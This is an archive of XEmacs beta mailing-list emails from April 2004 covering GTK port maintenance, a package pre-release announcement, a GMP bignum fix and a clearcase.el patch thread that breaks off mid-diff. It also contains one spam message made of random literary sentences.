-0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ED7we13414 for xemacs-beta-mailman@xemacs.org; Wed, 14 Apr 2004 09:07:58 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ED7ve13401 for turnbull@tux.org; Wed, 14 Apr 2004 09:07:57 -0400 Received: from mail003.syd.optusnet.com.au (mail003.syd.optusnet.com.au [211.29.132.144]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ED7os13338 for ; Wed, 14 Apr 2004 09:07:51 -0400 Received: from c18072.rivrw2.nsw.optusnet.com.au (c211-30-201-5.rivrw2.nsw.optusnet.com.au [211.30.201.5]) by mail003.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i3ED7g429128 for ; Wed, 14 Apr 2004 23:07:43 +1000 To: xemacs-beta@xemacs.org Subject: Re: Apparent configure ordering problem with GTK build References: <87d66a6eyw.fsf@tleepslib.sk.tsukuba.ac.jp> From: Malcolm Purvis X-Face: "t>8w.Nd-q:ml[PuI`{tr%l5Y~,sBj?fR1G.q`GM6)3RK+ll4EOE_1Goun~_6nt.5q,rU]` Q,Kxq+|~kZdSuw`3)>5+_/EcS2MS={U]o-eU!y?G(&'dd~\jX|faymzH|72n4oPxOu8c0M2FroLHaA g%#ZHX\p3dIud>Y'+?-@!Om%Z(D2.Fp<*bS8W2Q'{*"WmzMrRZj%)1=|J#3:[`vYdisIP7:`as5Qku ,M(VrTIClqxpH4Z7,_$?ugTWyMq=DQjGEP*M4*/S{Ym{,uq')-b@i_ECSi;Gq+Z[I=kdtX Date: Wed, 14 Apr 2004 23:07:42 +1000 In-Reply-To: <87d66a6eyw.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Wed, 14 Apr 2004 19:17:27 +0900") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Reasonable Discussion, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Stephen" == Stephen J Turnbull writes: Stephen> There are one or two people who occasionally post patches, and a Stephen> couple people who have worked on collecting bug reports, but with no Stephen> coding support.... :-( Come, Come now, it's not as bad as all that. Almost all GTK related bug reports in the last nine months have been resolved and patches have been submitted. It's just that without Bill's presence and write access pending patches (*cough* some *cough* since *cough* July *cough* 2003 *cough*) can take a while to be applied, or even be commented on. A few months ago I conducted some private correspondence with the few people who have submitted GTK related patches over the last few years and the consensus seems to be that if the application (or even rejection) rate improved then the GTK feature development rate might improve too. Stephen> There have been noises about updating the port to GTK+ 2.x, but I Stephen> have not seen any code yet. The API uses Unicode, which I understand still needs more work in 21.5. I was planning to let Ben and the Xft and BeOS developers fight it out over the design before I dipped my toes in that water. Stephen> IIRC Jerry said that he didn't understand the GTK+ code well enough Stephen> to fix up the error-checking code there, asked for volunteers, and Stephen> got zero response. I can't find any mention of this in the archives going back to September. When did he ask? Anyway, I've been working on a patch to fix GTK problems when compiling under C++ and --use-union-type and it will contain a fix for this problem. It should be ready by the end of the weekend. Malcolm -- Malcolm Purvis Q: Why did the chicken cross the Mobius strip? A: To get to the other... uh... err... From xemacs-beta-admin@xemacs.org Wed Apr 14 09:18:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3EDI2s19114; Wed, 14 Apr 2004 09:18:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3EDHJY18789 for xemacs-beta-mailman@xemacs.org; Wed, 14 Apr 2004 09:17:19 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3EDHIM18772 for turnbull@tux.org; Wed, 14 Apr 2004 09:17:18 -0400 Received: from world1.sdm.de (world1.sdm.de [192.76.162.229]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3EDHIs18765 for ; Wed, 14 Apr 2004 09:17:18 -0400 Received: from localhost ([127.0.0.1] helo=world1.sdm.de) (helo=world1.sdm.de) by world1.sdm.de (MTA) via esmtp for id 1BDkGE-0002b4-0c; Wed, 14 Apr 2004 15:17:02 +0200 Received: from mucns1.muc.sdm.de ([193.102.180.22]) (helo=mucns1.muc.sdm.de) by world1.sdm.de (MTA) via esmtp for id 1BDkGD-0002ay-4Q; Wed, 14 Apr 2004 15:17:01 +0200 Received: by mucns1.muc.sdm.de (MTA) via esmtp for from localhost ([127.0.0.1] helo=sdmexch1.muc.sdm.de) id 1BDkGD-0000Cs-3e; Wed, 14 Apr 2004 15:17:01 +0200 Received: by sdmexch1.muc.sdm.de with Internet Mail Service (5.5.2653.19) id <2KX4A7RS>; Wed, 14 Apr 2004 15:17:00 +0200 Message-ID: From: "Berndl, Klaus" To: "'XEmacs Beta '" Subject: [C] ECB: Sync with current upstream 2.24 Date: Wed, 14 Apr 2004 15:16:59 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Subject says all... Ciao, Klaus Klaus Berndl mailto: klaus.berndl@sdm.de sd&m AG http://www.sdm.de software design & management Carl-Wery-Str. 42, 81739 Muenchen, Germany Tel +49 89 63812-392, Fax -220 From xemacs-beta-admin@xemacs.org Wed Apr 14 10:13:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3EED6s22090; Wed, 14 Apr 2004 10:13:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3EECBV21608 for xemacs-beta-mailman@xemacs.org; Wed, 14 Apr 2004 10:12:11 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3EEC9621589 for turnbull@tux.org; Wed, 14 Apr 2004 10:12:09 -0400 Received: from mail.LF.net (mail.LF.net [212.9.160.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3EEC7s21574 for ; Wed, 14 Apr 2004 10:12:07 -0400 Received: from pd95e625a.dip.t-dialin.net ([217.94.98.90] helo=redqueen.ath.cx) by mail.LF.net with esmtp (Exim 4.22) id 1BDl7S-000Iw1-Qr for xemacs-beta@xemacs.org; Wed, 14 Apr 2004 16:12:02 +0200 Received: from nk by redqueen.ath.cx with local (Exim 4.22) id 1BDl7S-000OAL-DL for xemacs-beta@xemacs.org; Wed, 14 Apr 2004 16:12:02 +0200 To: xemacs-beta@xemacs.org Subject: XEmacs Packages have been pre-released (2004-04-14-15) From: Norbert Koch X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: xemacs-beta@xemacs.org User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.5 (chayote, berkeley-unix) Date: Wed, 14 Apr 2004 16:12:02 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey there everyone. I have just added the following packages to the 'Pre-Releases' directory: New Packages in Pre-Release: =========================== ecb-1.18-pkg.tar.gz upstream version: 2.24 Previously Announced Packages Still in Pre-Release: ================================================== c-support-1.20-pkg.tar.gz upstream version: none ecrypto-0.17-pkg.tar.gz upstream version: 2.0 ediff-1.50-pkg.tar.gz upstream version: 2.75 erc-0.08-pkg.tar.gz upstream version: Version 4.0 Revision: 1.640 escreen-1.01-pkg.tar.gz upstream version: 1.16 fortran-modes-1.04-pkg.tar.gz upstream version: none hyperbole-1.15-pkg.tar.gz upstream version: 4.18 mail-lib-1.65-pkg.tar.gz upstream version: none mmm-mode-1.02-pkg.tar.gz upstream version: 0.4.7 net-utils-1.42-pkg.tar.gz upstream version: N/A prog-modes-1.96-pkg.tar.gz upstream version: none ps-print-1.10-pkg.tar.gz upstream version: 6.5.6 python-modes-1.06-pkg.tar.gz upstream version: none reftex-1.34-pkg.tar.gz upstream version: 4.21 text-modes-1.76-pkg.tar.gz upstream version: none vhdl-1.19-pkg.tar.gz upstream version: 3.32.20 x-symbol-1.10-pkg.tar.gz upstream version: 4.5.1 xemacs-base-1.86-pkg.tar.gz upstream version: none xemacs-devel-1.62-pkg.tar.gz upstream version: none xlib-1.08-pkg.tar.gz upstream version: 0.1 xwem-1.08-pkg.tar.gz upstream version: 0.1 Detailed Changes: ================ - ------- ChangeLog Entries from xemacs-packages/ecb/ChangeLog ------- 2004-04-14 Norbert Koch * Makefile (VERSION): XEmacs package 1.18 released. 2004-04-14 Klaus Berndl * Sync with current upstream 2.24 Installing These: ================ Manually: - -------- 1) Download the packages that you want to install from: /ftp.xemacs.org:/pub/xemacs/beta/experimental/packages/ 2) Unpack them to: [1] /usr/local/lib/xemacs/xemacs-packages/ 3) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.[245].x): - ---------------------------------------------- 1) Tools -> Packages -> Add Download Site -> Pre-Releases 2) Tools -> Packages -> List and Install 3) Select the packages you wish to install (there are brief instructions at the bottom of the packages buffer). 4) Packages -> Install/Remove Selected 5) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.1.14): - ------------------------------------------- 1) Options -> Manage Packages -> Add Download Site -> Pre-Releases 2) Options -> Manage Packages -> List and Install 3 - 5) As per XEmacs 21.[245].x. norbert - XEmacs Package Release Manager. Footnotes: [1] Note: Mule packages should be installed into: /usr/local/lib/xemacs/mule-packages/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQFAfUasgu3ywdHdhM0RAgWdAJ4/xb13U6uDSNj2lvMpyF7jfRoMWgCgnU3t Z9+AFQopwBvD/+r585fC9NQ= =+tOJ -----END PGP SIGNATURE----- From cnptsfkmj@msn.com Wed Apr 14 15:52:59 2004 Received: from ool-18b8f5f5.dyn.optonline.net (ool-18b8f5f5.dyn.optonline.net [24.184.245.245]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3EJqws30880; Wed, 14 Apr 2004 15:52:58 -0400 Message-Id: <200404141952.i3EJqws30880@gwyn.tux.org> Content-Type: text/html; charset="us-ascii"; MIME-Version: 1.0 Content-Transfer-Encoding: 7Bit Subject: Fwd: our offer From: "Fern Ham" To: xemacs-announce-archive@xemacs.org, xemacs-announce-mailman@xemacs.org, xemacs-announce@xemacs.org, xemacs-approval@xemacs.org, xemacs-beta-approval@xemacs.org, xemacs-beta-archive@xemacs.org X-Priority: 3 Date: Wed, 14 Apr 2004 22:50:14 +0200 Most children tremble when they try to stand on the ice, and for that very reason are nearly sure to fall; but Susy did not tremble in the face of danger: she had a strong will of her own, and never expected to fail in anything she undertook.




No more messages





Now the Master, again wishing to relieve you of the strain you are under, turns to you, and remarking that the guests do not seem at ease asks if it would make it pleasanter for you if He should offer to dance with you, and you lead the way for the others with Him. After that I pulled off the cloth covering his face, and saw, as I expected, the cruel countenance of Abd el Barak. From xemacs-beta-admin@xemacs.org Wed Apr 14 18:31:40 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3EMVHs02947; Wed, 14 Apr 2004 18:31:17 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3EMUo202494 for xemacs-beta-mailman@xemacs.org; Wed, 14 Apr 2004 18:30:50 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3EMUnJ02469 for turnbull@tux.org; Wed, 14 Apr 2004 18:30:49 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3EMUms02447 for ; Wed, 14 Apr 2004 18:30:48 -0400 Received: (qmail 13958 invoked from network); 15 Apr 2004 00:30:47 +0200 X-Remote-IP: 213.191.128.11 Received: from mx.iskon.hr (qmailr@213.191.128.11) by mxout2.iskon.hr with SMTP; 15 Apr 2004 00:30:47 +0200 Received: (qmail 19690 invoked from network); 15 Apr 2004 00:30:46 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 15 Apr 2004 00:30:46 +0200 To: "Stephen J. Turnbull" Cc: Jerry James , XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Thu, 15 Apr 2004 00:32:16 +0200 In-Reply-To: <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Wed, 07 Apr 2004 23:16:48 +0900") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: > I know that Python at least and probably Perl have MP modules. I bet > Python bignums have a pickle method, That's what my "reinventing" was all about -- turn them to strings before dumping and back to opaque objects after dumping. But Jerry said he didn't know how to do that, and neither do I. We need Olivier's help. From xemacs-beta-admin@xemacs.org Wed Apr 14 22:01:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3F21Hs25280; Wed, 14 Apr 2004 22:01:17 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3F20JR24104 for xemacs-beta-mailman@xemacs.org; Wed, 14 Apr 2004 22:00:19 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3F20GE24048 for turnbull@tux.org; Wed, 14 Apr 2004 22:00:16 -0400 Received: from eicq.dnsalias.org (CPE-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3F20As23934; Wed, 14 Apr 2004 22:00:11 -0400 Received: (from steve@localhost) by eicq.dnsalias.org (8.12.9/8.12.9) id i3F1qQnF010381; Thu, 15 Apr 2004 11:52:26 +1000 Mail-Copies-To: never To: XEmacs Beta Cc: Jerry James Subject: Re: [AC21.5] GMP string reading fixes Keywords: james,number References: From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-Yow: Now I'm concentrating on a specific tank battle toward the end of World War II! X-X-Day: Only 2431501 days till X-Day. Got Slack? X-URL: X-Reviewer-Action: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Setting Orange, the 32nd day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs Beta , Jerry James Date: Thu, 15 Apr 2004 11:52:21 +1000 In-Reply-To: (Jerry James's message of "Wed, 14 Apr 2004 17:50:05 -0500") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Jerry James writes: > APPROVE COMMIT 21.5 > Steve Youngs wrote: >> Having ispell-message as part of message-send-hook caused... >> >> Ispell misalignment: word `Fstring' point 1436; probably incompatible versions >> >> ...on this message. Couldn't produce a backtrace :-( > 2004-04-14 Jerry James > * data.c (Fstring_to_number): Work around limitations of GMP > string to number converting functions. > * lread.c (read_atom): Comment fix: the behavior is not random. > * number.c (string_to_bignum): Ditto. You have fixed the ispell problem. Yah! :-) But introduced a formating problem. :-( I have (setq gnus-group-line-format "%m\%S\%p\%P\%5y (\%U): %-40,40g %6,6~(cut 2)d [Tick \%T Dmnt \%I]\n") It looks like n (n): group-name date [Tick n Dmnt n] But in 21.5 there is only a single whitespace character between group-name and date. Let me know if there is anything I can do to help. -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |---------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkB96tkACgkQHSfbS6lLMAOmYwCeKG0FzRVF7wxkug8nvtYUaDXV jTAAoJ8n1NbapzlgY3ydHTPYCmGAGLfk =hZEt -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Thu Apr 15 02:35:15 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3F6Z8s22970; Thu, 15 Apr 2004 02:35:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3F6Yg022738 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 02:34:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3F6Yf222724 for turnbull@tux.org; Thu, 15 Apr 2004 02:34:41 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3F6Ybs22687; Thu, 15 Apr 2004 02:34:37 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BE0SF-0003Rx-00; Thu, 15 Apr 2004 15:34:31 +0900 To: Hrvoje Niksic Cc: XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 15 Apr 2004 15:34:31 +0900 In-Reply-To: (Hrvoje Niksic's message of "Thu, 15 Apr 2004 00:32:16 +0200") Message-ID: <87vfk14umg.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> We need Olivier's help. That would be nice. I miss Olivier anyway. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Thu Apr 15 03:05:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3F752s08167; Thu, 15 Apr 2004 03:05:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3F74va08122 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 03:04:57 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3F74ub08104 for turnbull@tux.org; Thu, 15 Apr 2004 03:04:56 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3F74ts08094 for ; Thu, 15 Apr 2004 03:04:55 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BE0vR-0003jw-00; Thu, 15 Apr 2004 16:04:41 +0900 To: Malcolm Purvis Cc: xemacs-beta@xemacs.org Subject: Re: Apparent configure ordering problem with GTK build References: <87d66a6eyw.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 15 Apr 2004 16:04:40 +0900 In-Reply-To: (Malcolm Purvis's message of "Wed, 14 Apr 2004 23:07:42 +1000") Message-ID: <87r7up4t87.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Malcolm" == Malcolm Purvis writes: Malcolm> Come, Come now, it's not as bad as all that. Yeah? How is it going to get better? Malcolm> Almost all GTK related bug reports [were fixed] Yeah, but the biggees are GTK 2 and Ben's complaints about the level of abstraction in the GTK code vis-a-vis X, and the general problem that GUI features don't use faces properly and so are not very configurable from Lisp. That kind of thing is not going to get moving without an active advocate on the board. Malcolm> It's just that without Bill's presence and write access If you don't have write access yet, I'm sure it's yours for the asking. Reviewer status (ie the power to approve commits) is another matter, but unless Bill has other ideas, I don't see why that wouldn't go through, too. Malcolm> If the application (or even rejection) rate improved then Malcolm> the GTK feature development rate might improve too. I'm sure it would, too. Malcolm> The (GTK+ 2) API uses Unicode, which I understand still Malcolm> needs more work in 21.5. No. Mule does need work, but if you know what characters you want to paint, Unicode is ready to go. Seriously, the GTK+ 2 API isn't going to change, not even for Ben Wing, so as long as it's well-documented, we've got the Mule<->Unicode conversion facilities, I use them all the time. They're in C and don't GC, what more could you ask for? OK, there are issues with bidirectional text (eg, Hebrew) and possibly with composition of characters, but I don't see why that should stop a GTK port. Re Xft, the problem there was that I can't find any documentation for the API, and the sample code demonstrated (by crashing on Japanese) that the developers working on that stuff don't have any better idea than I do. OK, maybe some stuff will have to go on branches again for a while until we figure out an abstraction layer, but maybe not. GTK certainly has the advantage that it's already got nominal support. Malcolm> BeOS :-( It would be nice, but we've got GTK+ and Qt and Mac OS X "Carbon" ports all sitting there going nowhere. Do we really need another? Malcolm> I've been working on a patch to fix GTK problems when Malcolm> compiling under C++ and --use-union-type and it will Malcolm> contain a fix for this problem. It should be ready by Malcolm> the end of the weekend. Well, it will probably go in with reasonable dispatch, but we don't need coders, we need reviewers. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Thu Apr 15 04:25:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3F8P1s29900; Thu, 15 Apr 2004 04:25:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3F8Og929704 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 04:24:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3F8Od029657 for turnbull@tux.org; Thu, 15 Apr 2004 04:24:39 -0400 Received: from mailx.danfoss.com (mailx.danfoss.com [193.162.34.6]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3F8Ocs29649 for ; Thu, 15 Apr 2004 04:24:38 -0400 Received: from dkdn04mx62.dkdn04.danfoss.net ([10.6.2.62]) by mailx.danfoss.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 15 Apr 2004 10:24:31 +0200 Received: from df01-e01.danfoss.net ([10.8.66.101]) by 10.6.4.62 with InterScan Messaging Security Suite; Thu, 15 Apr 2004 10:24:31 +0200 Received: by df01-e01.danfoss.net with Internet Mail Service (5.5.2653.19) id <28DXMSC6>; Thu, 15 Apr 2004 10:24:33 +0200 Message-ID: <829F632D2F25D411B6920008C716F831084550FC@dd01-e01.dd01.danfoss.net> From: Hansen Martin To: "'John K. Sterling'" , "Xemacs-Beta (E-mail)" Subject: RE: [PATCH] clearcase missing annotate Date: Thu, 15 Apr 2004 10:24:31 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" X-OriginalArrivalTime: 15 Apr 2004 08:24:31.0977 (UTC) FILETIME=[13D2DD90:01C422C3] X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , We will be interested in the patch. yes. We use clearcase.el intensively. I cannot take on maintaining the clearcase.el. My knowledge of lisp is very limited. And I soon change job, where I do not yet know my tasks. -- Best regards Martin Hansen Software Engineer Danfoss Drives A/S DD-DB6 DG1204, Ulsnaes 1, DK-6300 Graasten Tel.: +45 74 88 54 62 http://drives.danfoss.com > -----Original Message----- > From: John K. Sterling [mailto:john@sterls.com] > Sent: 5. april 2004 04:03 > To: John K. Sterling > Cc: > Subject: Re: [PATCH] clearcase missing annotate > > > hmm... > > any other clearcase.el users out there? There are several other > missing features in this mode - if no one here cares to maintain it, > i'll go ahead and maintain a public patch that adds the required > functionality. Let me know if anyone is interested. > > --jks > > > > On Mar 15, 2004, at 11:23 AM, John K. Sterling wrote: > > > Hi - > > > > I have been using clearcase with xemacs for a few months > now, and have > > made a number of extensions to it locally. This patch adds > support for > > annotate, which I consider to be a critical tool. This > implementation > > puts the annotation output into /** annotation **/ comments at the > > beginning of each line and then applies the current mode to that > > buffer. > > This is nice for c/java so your keyword coloring is not > affected by the > > annotations, but may not look so good when applied to other types of > > files. > > > > I'm not sure if this type of fix is desired, but I figured > I'd send it > > your way in case it is. If you would like changes to the > > implementation > > for consistency or correctness I'll be happy to make those changes > > first. > > > > I don't have access to cvs from here, so I am just piping > the raw diff > > -u > > output at the end of this message instead of cvs diffing - > hope this is > > not a problem. > > > > Thanks for your time - > > > > John K. Sterling > > > > > > --- clearcase.el_orig 2004-03-15 10:57:08.052692800 -0500 > > +++ clearcase.el_new 2004-03-15 11:03:04.134713600 -0500 > > @@ -576,6 +576,7 @@ > > (define-key clearcase-prefix-map "b" > > 